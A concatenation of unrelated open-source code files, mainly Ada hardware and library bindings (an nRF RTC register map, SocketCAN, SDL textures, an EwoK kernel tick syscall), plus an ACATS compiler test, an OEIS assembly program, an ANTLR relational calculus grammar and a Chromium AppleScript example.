Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Enable or disable event routing
type EVTEN_Register is record
-- Enable or disable event routing for TICK event
TICK : EVTEN_TICK_Field := NRF_SVD.RTC.Disabled;
-- Enable or disable event routing for OVRFLW event
OVRFLW : EVTEN_OVRFLW_Field := NRF_SVD.RTC.Disabled;
-- unspecified
Reserved_2_15 : HAL.UInt14 := 16#0#;
-- Enable or disable event routing for COMPARE[0] event
COMPARE : EVTEN_COMPARE_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EVTEN_Register use record
TICK at 0 range 0 .. 0;
OVRFLW at 0 range 1 .. 1;
Reserved_2_15 at 0 range 2 .. 15;
COMPARE at 0 range 16 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Write '1' to Enable event routing for TICK event
type EVTENSET_TICK_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for EVTENSET_TICK_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable event routing for TICK event
type EVTENSET_TICK_Field_1 is
(-- Reset value for the field
Evtenset_Tick_Field_Reset,
-- Enable
Set)
with Size => 1;
for EVTENSET_TICK_Field_1 use
(Evtenset_Tick_Field_Reset => 0,
Set => 1);
-- Write '1' to Enable event routing for OVRFLW event
type EVTENSET_OVRFLW_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for EVTENSET_OVRFLW_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable event routing for OVRFLW event
type EVTENSET_OVRFLW_Field_1 is
(-- Reset value for the field
Evtenset_Ovrflw_Field_Reset,
-- Enable
Set)
with Size => 1;
for EVTENSET_OVRFLW_Field_1 use
(Evtenset_Ovrflw_Field_Reset => 0,
Set => 1);
-- Write '1' to Enable event routing for COMPARE[0] event
type EVTENSET_COMPARE0_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for EVTENSET_COMPARE0_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Enable event routing for COMPARE[0] event
type EVTENSET_COMPARE0_Field_1 is
(-- Reset value for the field
Evtenset_Compare0_Field_Reset,
-- Enable
Set)
with Size => 1;
for EVTENSET_COMPARE0_Field_1 use
(Evtenset_Compare0_Field_Reset => 0,
Set => 1);
-- EVTENSET_COMPARE array
type EVTENSET_COMPARE_Field_Array is array (0 .. 3)
of EVTENSET_COMPARE0_Field_1
with Component_Size => 1, Size => 4;
-- Type definition for EVTENSET_COMPARE
type EVTENSET_COMPARE_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- COMPARE as a value
Val : HAL.UInt4;
when True =>
-- COMPARE as an array
Arr : EVTENSET_COMPARE_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for EVTENSET_COMPARE_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Enable event routing
type EVTENSET_Register is record
-- Write '1' to Enable event routing for TICK event
TICK : EVTENSET_TICK_Field_1 := Evtenset_Tick_Field_Reset;
-- Write '1' to Enable event routing for OVRFLW event
OVRFLW : EVTENSET_OVRFLW_Field_1 := Evtenset_Ovrflw_Field_Reset;
-- unspecified
Reserved_2_15 : HAL.UInt14 := 16#0#;
-- Write '1' to Enable event routing for COMPARE[0] event
COMPARE : EVTENSET_COMPARE_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EVTENSET_Register use record
TICK at 0 range 0 .. 0;
OVRFLW at 0 range 1 .. 1;
Reserved_2_15 at 0 range 2 .. 15;
COMPARE at 0 range 16 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
-- Write '1' to Disable event routing for TICK event
type EVTENCLR_TICK_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for EVTENCLR_TICK_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable event routing for TICK event
type EVTENCLR_TICK_Field_1 is
(-- Reset value for the field
Evtenclr_Tick_Field_Reset,
-- Disable
Clear)
with Size => 1;
for EVTENCLR_TICK_Field_1 use
(Evtenclr_Tick_Field_Reset => 0,
Clear => 1);
-- Write '1' to Disable event routing for OVRFLW event
type EVTENCLR_OVRFLW_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for EVTENCLR_OVRFLW_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable event routing for OVRFLW event
type EVTENCLR_OVRFLW_Field_1 is
(-- Reset value for the field
Evtenclr_Ovrflw_Field_Reset,
-- Disable
Clear)
with Size => 1;
for EVTENCLR_OVRFLW_Field_1 use
(Evtenclr_Ovrflw_Field_Reset => 0,
Clear => 1);
-- Write '1' to Disable event routing for COMPARE[0] event
type EVTENCLR_COMPARE0_Field is
(-- Read: Disabled
Disabled,
-- Read: Enabled
Enabled)
with Size => 1;
for EVTENCLR_COMPARE0_Field use
(Disabled => 0,
Enabled => 1);
-- Write '1' to Disable event routing for COMPARE[0] event
type EVTENCLR_COMPARE0_Field_1 is
(-- Reset value for the field
Evtenclr_Compare0_Field_Reset,
-- Disable
Clear)
with Size => 1;
for EVTENCLR_COMPARE0_Field_1 use
(Evtenclr_Compare0_Field_Reset => 0,
Clear => 1);
-- EVTENCLR_COMPARE array
type EVTENCLR_COMPARE_Field_Array is array (0 .. 3)
of EVTENCLR_COMPARE0_Field_1
with Component_Size => 1, Size => 4;
-- Type definition for EVTENCLR_COMPARE
type EVTENCLR_COMPARE_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- COMPARE as a value
Val : HAL.UInt4;
when True =>
-- COMPARE as an array
Arr : EVTENCLR_COMPARE_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for EVTENCLR_COMPARE_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Disable event routing
type EVTENCLR_Register is record
-- Write '1' to Disable event routing for TICK event
TICK : EVTENCLR_TICK_Field_1 := Evtenclr_Tick_Field_Reset;
-- Write '1' to Disable event routing for OVRFLW event
OVRFLW : EVTENCLR_OVRFLW_Field_1 := Evtenclr_Ovrflw_Field_Reset;
-- unspecified
Reserved_2_15 : HAL.UInt14 := 16#0#;
-- Write '1' to Disable event routing for COMPARE[0] event
COMPARE : EVTENCLR_COMPARE_Field :=
(As_Array => False, Val => 16#0#);
-- unspecified
Reserved_20_31 : HAL.UInt12 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EVTENCLR_Register use record
TICK at 0 range 0 .. 0;
OVRFLW at 0 range 1 .. 1;
Reserved_2_15 at 0 range 2 .. 15;
COMPARE at 0 range 16 .. 19;
Reserved_20_31 at 0 range 20 .. 31;
end record;
subtype COUNTER_COUNTER_Field is HAL.UInt24;
-- Current COUNTER value
type COUNTER_Register is record
-- Read-only. Counter value
COUNTER : COUNTER_COUNTER_Field;
-- unspecified
Reserved_24_31 : HAL.UInt8;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for COUNTER_Register use record
COUNTER at 0 range 0 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
subtype PRESCALER_PRESCALER_Field is HAL.UInt12;
-- 12 bit prescaler for COUNTER frequency (32768/(PRESCALER+1)).Must be
-- written when RTC is stopped
type PRESCALER_Register is record
-- Prescaler value
PRESCALER : PRESCALER_PRESCALER_Field := 16#0#;
-- unspecified
Reserved_12_31 : HAL.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for PRESCALER_Register use record
PRESCALER at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype CC_COMPARE_Field is HAL.UInt24;
-- Description collection[0]: Compare register 0
type CC_Register is record
-- Compare value
COMPARE : CC_COMPARE_Field := 16#0#;
-- unspecified
Reserved_24_31 : HAL.UInt8 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CC_Register use record
COMPARE at 0 range 0 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- Description collection[0]: Compare register 0
type CC_Registers is array (0 .. 3) of CC_Register;
-----------------
-- Peripherals --
-----------------
-- Real time counter 0
type RTC_Peripheral is record
-- Start RTC COUNTER
TASKS_START : aliased HAL.UInt32;
-- Stop RTC COUNTER
TASKS_STOP : aliased HAL.UInt32;
-- Clear RTC COUNTER
TASKS_CLEAR : aliased HAL.UInt32;
-- Set COUNTER to 0xFFFFF0
TASKS_TRIGOVRFLW : aliased HAL.UInt32;
-- Event on COUNTER increment
EVENTS_TICK : aliased HAL.UInt32;
-- Event on COUNTER overflow
EVENTS_OVRFLW : aliased HAL.UInt32;
-- Description collection[0]: Compare event on CC[0] match
EVENTS_COMPARE : aliased EVENTS_COMPARE_Registers;
-- Enable interrupt
INTENSET : aliased INTENSET_Register;
-- Disable interrupt
INTENCLR : aliased INTENCLR_Register;
-- Enable or disable event routing
EVTEN : aliased EVTEN_Register;
-- Enable event routing
EVTENSET : aliased EVTENSET_Register;
-- Disable event routing
EVTENCLR : aliased EVTENCLR_Register;
-- Current COUNTER value
COUNTER : aliased COUNTER_Register;
-- 12 bit prescaler for COUNTER frequency (32768/(PRESCALER+1)).Must be
-- written when RTC is stopped
PRESCALER : aliased PRESCALER_Register;
-- Description collection[0]: Compare register 0
CC : aliased CC_Registers;
end record
with Volatile;
for RTC_Peripheral use record
TASKS_START at 16#0# range 0 .. 31;
TASKS_STOP at 16#4# range 0 .. 31;
TASKS_CLEAR at 16#8# range 0 .. 31;
TASKS_TRIGOVRFLW at 16#C# range 0 .. 31;
EVENTS_TICK at 16#100# range 0 .. 31;
EVENTS_OVRFLW at 16#104# range 0 .. 31;
EVENTS_COMPARE at 16#140# range 0 .. 127;
INTENSET at 16#304# range 0 .. 31;
INTENCLR at 16#308# range 0 .. 31;
EVTEN at 16#340# range 0 .. 31;
EVTENSET at 16#344# range 0 .. 31;
EVTENCLR at 16#348# range 0 .. 31;
COUNTER at 16#504# range 0 .. 31;
PRESCALER at 16#508# range 0 .. 31;
CC at 16#540# range 0 .. 127;
end record;
-- Real time counter 0
RTC0_Periph : aliased RTC_Peripheral
with Import, Address => RTC0_Base;
-- Real time counter 1
RTC1_Periph : aliased RTC_Peripheral
with Import, Address => RTC1_Base;
-- Real time counter 2
RTC2_Periph : aliased RTC_Peripheral
with Import, Address => RTC2_Base;
end NRF_SVD.RTC;
|
programs/oeis/010/A010858.asm | karttu/loda | 1 | 15241 | <filename>programs/oeis/010/A010858.asm<gh_stars>1-10
; A010858: Constant sequence: a(n) = 19.
; 19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19
mov $1,19
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c6/c64103f.ada | best08618/asylo | 7 | 20199 | -- C64103F.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- OBJECTIVE:
-- CHECK THAT, FOR OUT PARAMETERS OF AN ACCESS TYPE,
-- CONSTRAINT_ERROR IS RAISED:
-- AFTER A SUBPROGRAM CALL WHEN THE BOUNDS OR DISCRIMINANTS
-- OF THE FORMAL DESIGNATED PARAMETER ARE DIFFERENT FROM
-- THOSE OF THE ACTUAL DESIGNATED PARAMETER.
-- HISTORY:
-- CPP 07/23/84 CREATED ORIGINAL TEST.
-- VCL 10/27/87 MODIFIED THIS HEADER; ADDED STATEMENTS WHICH
-- REFERENCE THE ACTUAL PARAMETERS.
WITH REPORT; USE REPORT;
PROCEDURE C64103F IS
BEGIN
TEST ("C64103F", "FOR OUT PARAMETERS OF AN ACCESS TYPE, " &
"CONSTRAINT_ERROR IS RAISED: AFTER A " &
"SUBPROGRAM CALL WHEN THE BOUNDS OR " &
"DISCRIMINANTS OF THE FORMAL DESIGNATED " &
"PARAMETER ARE DIFFERENT FROM THOSE OF THE " &
"ACTUAL DESIGNATED PARAMETER");
BEGIN
DECLARE
TYPE AST IS ACCESS STRING;
SUBTYPE AST_3 IS AST(IDENT_INT(1)..IDENT_INT(3));
SUBTYPE AST_5 IS AST(3..5);
X_3 : AST_3 := NEW STRING'(1..IDENT_INT(3) => 'A');
CALLED : BOOLEAN := FALSE;
PROCEDURE P1 (X : OUT AST_5) IS
BEGIN
CALLED := TRUE;
X := NEW STRING'(3..5 => 'C');
END P1;
BEGIN
P1 (AST_5 (X_3));
IF X_3.ALL = STRING'(1 .. 3 => 'A') THEN
FAILED ("EXCEPTION NOT RAISED AFTER CALL -P1 (A1)");
ELSE
FAILED ("EXCEPTION NOT RAISED AFTER CALL -P1 (A2)");
END IF;
EXCEPTION
WHEN CONSTRAINT_ERROR =>
IF NOT CALLED THEN
FAILED ("EXCEPTION RAISED BEFORE CALL " &
"-P1 (A)");
END IF;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED -P1 (A)");
END;
DECLARE
TYPE ARRAY_TYPE IS ARRAY (INTEGER RANGE <>) OF BOOLEAN;
TYPE A_ARRAY IS ACCESS ARRAY_TYPE;
SUBTYPE A1_ARRAY IS A_ARRAY (1..IDENT_INT(3));
TYPE A2_ARRAY IS NEW A_ARRAY (2..4);
A0 : A1_ARRAY := NEW ARRAY_TYPE'(1..3 => TRUE);
CALLED : BOOLEAN := FALSE;
PROCEDURE P2 (X : OUT A2_ARRAY) IS
BEGIN
CALLED := TRUE;
X := NEW ARRAY_TYPE'(2..4 => FALSE);
END P2;
BEGIN
P2 (A2_ARRAY (A0));
IF A0.ALL = ARRAY_TYPE'(1 .. 3 => TRUE) THEN
FAILED ("EXCEPTION NOT RAISED AFTER CALL -P2 (A1)");
ELSE
FAILED ("EXCEPTION NOT RAISED AFTER CALL -P2 (A2)");
END IF;
EXCEPTION
WHEN CONSTRAINT_ERROR =>
IF NOT CALLED THEN
FAILED ("EXCEPTION RAISED BEFORE CALL " &
"-P1 (A)");
END IF;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED -P2 (A)");
END;
DECLARE
TYPE SUBINT IS RANGE 0..8;
TYPE REC1 (DISC : SUBINT := 8) IS
RECORD
FIELD : SUBINT := DISC;
END RECORD;
TYPE A1_REC IS ACCESS REC1;
TYPE A2_REC IS NEW A1_REC (3);
A0 : A1_REC(4) := NEW REC1(4);
CALLED : BOOLEAN := FALSE;
PROCEDURE P3 (X : OUT A2_REC) IS
BEGIN
CALLED := TRUE;
X := NEW REC1(3);
END P3;
BEGIN
P3 (A2_REC (A0));
IF A0.ALL = REC1'(4,4) THEN
FAILED ("EXCEPTION NOT RAISED AFTER CALL -P3 (A1)");
ELSE
FAILED ("EXCEPTION NOT RAISED AFTER CALL -P3 (A2)");
END IF;
EXCEPTION
WHEN CONSTRAINT_ERROR =>
IF NOT CALLED THEN
FAILED ("EXCEPTION RAISED BEFORE CALL " &
"-P1 (A)");
END IF;
WHEN OTHERS =>
FAILED ("WRONG EXCEPTION RAISED -P3 (A)");
END;
END;
RESULT;
END C64103F;
|
src/convtest/converters.ads | shintakezou/adaplayground | 0 | 17702 | <reponame>shintakezou/adaplayground<filename>src/convtest/converters.ads
-- @summary
-- Convert to string and concatenate float-derived types.
--
-- @description
-- See its usage to get the idea. However, I don't think this
-- should be a "top" package. I would like it could be seen
-- only in Measure_Units, because Measure_Units uses it to
-- provide some functions to its clients.
--
-- Could this be a good idea as a general purpose utility?
--
package Converters is
generic
type A_Type is new Float;
function To_String (V : A_Type) return String;
generic
type A_Type is new Float;
with function String_Conv (C : A_Type) return String;
function Concat (L : String; R : A_Type) return String;
end Converters;
|
programs/oeis/089/A089598.asm | karttu/loda | 0 | 81824 | <filename>programs/oeis/089/A089598.asm
; A089598: G.f.: (1+x^2+x^3)/(1-x^3)^2.
; 1,0,1,3,0,2,5,0,3,7,0,4,9,0,5,11,0,6,13,0,7,15,0,8,17,0,9,19,0,10,21,0,11,23,0,12,25,0,13,27,0,14,29,0,15,31,0,16,33,0,17,35,0,18,37,0,19,39,0,20,41,0,21,43,0,22,45,0,23,47,0,24,49,0,25,51,0,26,53,0,27,55,0,28,57,0,29,59,0,30,61,0,31,63,0,32,65,0,33,67,0,34,69,0,35,71,0,36,73,0,37,75,0,38,77,0,39,79,0,40,81,0,41,83,0,42,85,0,43,87,0,44,89,0,45,91,0,46,93,0,47,95,0,48,97,0,49,99,0,50,101,0,51,103,0,52,105,0,53,107,0,54,109,0,55,111,0,56,113,0,57,115,0,58,117,0,59,119,0,60,121,0,61,123,0,62,125,0,63,127,0,64,129,0,65,131,0,66,133,0,67,135,0,68,137,0,69,139,0,70,141,0,71,143,0,72,145,0,73,147,0,74,149,0,75,151,0,76,153,0,77,155,0,78,157,0,79,159,0,80,161,0,81,163,0,82,165,0,83,167
mov $1,1
add $1,$0
mov $2,$0
add $2,2
lpb $0,1
add $1,$0
trn $0,2
sub $1,$2
mov $3,$0
trn $0,1
add $1,$3
lpe
|
src/main/antlr4/s1705270/RC.g4 | hbjORbj/relational-query-language-translator | 0 | 4863 | grammar RC;
fragment
DIGIT
:
[0-9]
;
fragment
LETTER
:
[A-Za-z]
;
fragment
LOWER_CASE_LETTER
:
[a-z]
;
NAME
:
LETTER+
(
LETTER
| DIGIT
| '_'
| '\''
)*
;
CONSTANT
:
(
LETTER
| DIGIT
| '_'
)+
;
WHITESPACE
:
[ \t\r\n]+ -> skip
;
PREDICATE
:
NAME
;
NEGATION
:
'~'
;
CONJUNCTION
:
'&'
;
DISJUNCTION
:
'|'
;
IMPLICATION
:
'->'
;
UNIVERSAL
:
'[A]'
;
EXISTENTIAL
:
'[E]'
;
EQUAL
:
'='
;
LESSTHAN
:
'<'
;
variable
:
'?' NAME
;
variableList
:
variable
(
',' variable
)*
;
constant
:
CONSTANT |
NAME
;
predicateName
:
NAME
;
term
:
variable
| constant
;
termList
:
term
(
',' term
)*
;
formula
:
predicateName '(' termList ')' # Predicate
| '(' formula ')' #ParenthesizedFormula
| term EQUAL term # Equality
| term LESSTHAN term # LessThan
| NEGATION formula # Negation
| formula CONJUNCTION formula # Conjunction
| formula DISJUNCTION formula # Disjunction
| formula IMPLICATION formula # Implication
| UNIVERSAL variableList '(' formula ')' # UniversalQuantifier
| EXISTENTIAL variableList '(' formula ')' # ExistentialQuantifier
;
|
chrome/browser/ui/cocoa/applescript/examples/open_tabs_from_bookmark_folder.applescript | zealoussnow/chromium | 14,668 | 1387 | -- Copyright (c) 2010 The Chromium Authors. All rights reserved.
-- Use of this source code is governed by a BSD-style license that can be
-- found in the LICENSE file.
tell application "Chromium"
set var to bookmark folder "New" of bookmarks bar
-- Change the folder to whichever you want.
repeat with i in (bookmark items of var)
set u to URL of i
tell window 1 to make new tab with properties {u}
end repeat
end tell
|
src/mainmenu.ads | Kidev/DemoAdaPhysics2D | 5 | 17387 | <reponame>Kidev/DemoAdaPhysics2D<gh_stars>1-10
with Menus; use Menus;
package MainMenu is
procedure ShowMainMenu;
procedure ShowHelpScreen(This : in out Menu);
end MainMenu;
|
src/sockets-can_thin.ads | glencornell/ada-socketcan | 2 | 3679 | -- MIT License
--
-- Copyright (c) 2021 <NAME> <<EMAIL>>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to deal
-- in the Software without restriction, including without limitation the rights
-- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-- copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all
-- copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-- SOFTWARE.
with Interfaces.C;
with Sockets.Can_Frame;
with GNAT.OS_Lib;
package Sockets.Can_Thin is
pragma Preelaborate;
use type Interfaces.C.Size_T;
-- kernel socket address structure redefined here for CAN
subtype data_array is Interfaces.C.char_array (0 .. 125);
type kernel_sockaddr_storage is record
ss_family : aliased Interfaces.C.unsigned_short; -- address family
data : aliased data_array; -- implementation-specific field
end record;
-- transport protocol class address information (e.g. ISOTP)
type Can_Addr_Type is record
rx_id : aliased Can_Frame.Can_Id_Type;
tx_id : aliased Can_Frame.Can_Id_Type;
end record;
-- the sockaddr structure for CAN sockets
type sockaddr_can is record
can_family : aliased Interfaces.C.Unsigned_Short; -- address family number AF_CAN.
can_ifindex : aliased Interfaces.C.Unsigned; -- CAN network interface index.
can_addr : aliased Can_Addr_Type; -- protocol specific address information
end record;
-- From /usr/include/net/if.h:
IFNAMSIZ : constant := 16;
subtype Ifr_Name_Array is Interfaces.C.char_array (0 .. IFNAMSIZ - 1);
-- struct ifreq is much more complicated than presented below. It
-- is a collection of unions used for various protocols. Since we
-- are limiting use of this structure to CANbus interfaces, we
-- have the liberty to declutter the unions and limit the
-- representation of the structure to just the CAN-specfic data
-- items. Also, we will be only using the structure for finding
-- the interface by name. Use this at your own risk!
type Ifreq is record
Ifr_Name : Ifr_Name_Array; -- Interface name, e.g. "can0"
Ifr_Index : Interfaces.C.Unsigned; -- Interface index
Unused : Interfaces.C.Char_Array (1 .. 20); -- NOT USED
end record;
-- Use the POSIX.1 if_nametoindex() call to access the interface index:
-- NOTE: OS limits ifname to IFNAMSIZ
function If_Nametoindex (Ifname : Interfaces.C.Char_Array) return Interfaces.C.Unsigned;
function Socket_Errno return Integer renames GNAT.OS_Lib.Errno;
-- Returns last socket error number
function Socket_Error_Message (Errno : Integer) return String;
-- Returns the error message string for the error number Errno. If Errno is
-- not known, returns "Unknown system error".
private
pragma Convention (C_Pass_By_Copy, Kernel_Sockaddr_Storage);
pragma Convention (C_Pass_By_Copy, Can_Addr_Type);
pragma Convention (C_Pass_By_Copy, Sockaddr_Can);
pragma Convention (C_Pass_By_Copy, Ifreq);
for Ifreq'Size use 320;
for Ifreq use record
Ifr_Name at 0 range 0 .. 127;
Ifr_Index at 16 range 0 .. 31;
Unused at 20 range 0 .. 159;
end record;
pragma Import (C, If_Nametoindex, "if_nametoindex");
end Sockets.Can_Thin;
|
src/Ada/syscalls/ewok-syscalls-gettick.adb | wookey-project/ewok-legacy | 0 | 12385 | <reponame>wookey-project/ewok-legacy<gh_stars>0
--
-- Copyright 2018 The wookey project team <<EMAIL>>
-- - <NAME>
-- - <NAME>
-- - <NAME>
-- - <NAME>
-- - <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
--
with ewok.perm; use ewok.perm;
with ewok.tasks; use ewok.tasks;
with ewok.tasks_shared; use ewok.tasks_shared;
with ewok.exported.ticks; use ewok.exported.ticks;
with ewok.sanitize;
with ewok.debug;
with soc.dwt;
package body ewok.syscalls.gettick
with spark_mode => off
is
procedure sys_gettick
(caller_id : in ewok.tasks_shared.t_task_id;
params : in out t_parameters;
mode : in ewok.tasks_shared.t_task_mode)
is
value : unsigned_64
with address => to_address (params(0));
precision : ewok.exported.ticks.t_precision
with address => params(1)'address;
begin
--
-- Verifying parameters
--
if not ewok.sanitize.is_range_in_data_slot
(to_system_address (value'address), 8, caller_id, mode)
then
pragma DEBUG (debug.log (debug.ERROR,
ewok.tasks.tasks_list(caller_id).name
& ": sys_gettick(): 'value' parameter not in caller space"));
goto ret_inval;
end if;
if not precision'valid then
goto ret_inval;
end if;
-- Verifying permisions
case precision is
when PRECISION_MILLI_SEC =>
if not ewok.perm.ressource_is_granted
(PERM_RES_TIM_GETMILLI, caller_id)
then
goto ret_denied;
end if;
soc.dwt.get_milliseconds (value);
when PRECISION_MICRO_SEC =>
if not ewok.perm.ressource_is_granted
(PERM_RES_TIM_GETMICRO, caller_id)
then
goto ret_denied;
end if;
soc.dwt.get_microseconds (value);
when PRECISION_CYCLE =>
if not ewok.perm.ressource_is_granted
(PERM_RES_TIM_GETCYCLE, caller_id)
then
goto ret_denied;
end if;
soc.dwt.get_cycles (value);
end case;
set_return_value (caller_id, mode, SYS_E_DONE);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
<<ret_inval>>
set_return_value (caller_id, mode, SYS_E_INVAL);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
<<ret_denied>>
set_return_value (caller_id, mode, SYS_E_DENIED);
ewok.tasks.set_state (caller_id, mode, TASK_STATE_RUNNABLE);
return;
end sys_gettick;
end ewok.syscalls.gettick;
|
src/sdl-video-textures.ads | Fabien-Chouteau/sdlada | 0 | 18850 | <gh_stars>0
--------------------------------------------------------------------------------------------------------------------
-- Copyright (c) 2013-2020, <NAME>
--
-- This software is provided 'as-is', without any express or implied
-- warranty. In no event will the authors be held liable for any damages
-- arising from the use of this software.
--
-- Permission is granted to anyone to use this software for any purpose,
-- including commercial applications, and to alter it and redistribute it
-- freely, subject to the following restrictions:
--
-- 1. The origin of this software must not be misrepresented; you must not
-- claim that you wrote the original software. If you use this software
-- in a product, an acknowledgment in the product documentation would be
-- appreciated but is not required.
--
-- 2. Altered source versions must be plainly marked as such, and must not be
-- misrepresented as being the original software.
--
-- 3. This notice may not be removed or altered from any source
-- distribution.
--------------------------------------------------------------------------------------------------------------------
-- SDL.Video.Textures
--
-- Texture abstraction.
--------------------------------------------------------------------------------------------------------------------
with Ada.Finalization;
with System;
private with SDL.C_Pointers;
with SDL.Video.Palettes;
with SDL.Video.Pixel_Formats;
with SDL.Video.Pixels;
with SDL.Video.Rectangles;
limited with SDL.Video.Renderers;
with SDL.Video.Surfaces;
with SDL.Video;
package SDL.Video.Textures is
Texture_Error : exception;
-- Was SDL_TextureAccess.
type Kinds is (Static, Streaming, Target) with
Convention => C;
type Texture is new Ada.Finalization.Limited_Controlled with private;
Null_Texture : constant Texture;
procedure Destroy (Self : in out Texture);
-- Get the alpha value to be multiplied (modulated) into render copy operations.
function Get_Alpha (Self : in Texture) return SDL.Video.Palettes.Colour_Component;
procedure Set_Alpha (Self : in out Texture; Alpha : in SDL.Video.Palettes.Colour_Component);
function Get_Blend_Mode (Self : in Texture) return Blend_Modes;
procedure Set_Blend_Mode (Self : in out Texture; Mode : in Blend_Modes);
function Get_Modulate_Colour (Self : in Texture) return SDL.Video.Palettes.RGB_Colour;
procedure Set_Modulate_Colour (Self : in out Texture; Colour : in SDL.Video.Palettes.RGB_Colour);
-- TODO: Fix this.
-- Lock returns access to pixel data as write-only.
-- function Lock (Self : in out Texture; Pixel_Data : out SDL.Video.Pixels.Pixel) return Boolean with
-- function Lock (Self : in out Texture; Area : in SDL.Video.Rectangles.Rectangle;
-- Pixel_Data : out SDL.Video.Pixels.Pixel) return Boolean with
-- Pre => Self.Locked = False,
-- Post => Result = True and then Self.Locked = True;
--
-- Lock should return an object representing the bitmap data. We should be able to access it like an array,
-- e.g. (x, y) and also using an iterator, which traverses, top -> bottom, left -> right, 1 pixel at a time. We
-- need to be able to do subimage copies using Ada's slices, e.g. bm1 (x .. x2, y .. y2) := bm2 (x .. x2, y .. y2)
--
-- For YV12 format:
--
-- package ARGB_8888_Array is new SDL.Video.Pixels.Texture_Data (Width => , Height => , Element => );
-- procedure Lock_Texture (Self : in out Texture;
-- Pixels : out SDL.Video.Pixels.Pixel_ARGB_8888_Array_Access);
-- Lock
--
-- Lock the entire texture data.
--
-- There will be multiple pixel formats, there should only be one Lock sub-program to handle them all.
generic
type Pixel_Pointer_Type is private;
procedure Lock (Self : in out Texture;
Pixels : out Pixel_Pointer_Type);
-- Lock
--
-- Lock a particular area of the texture data.
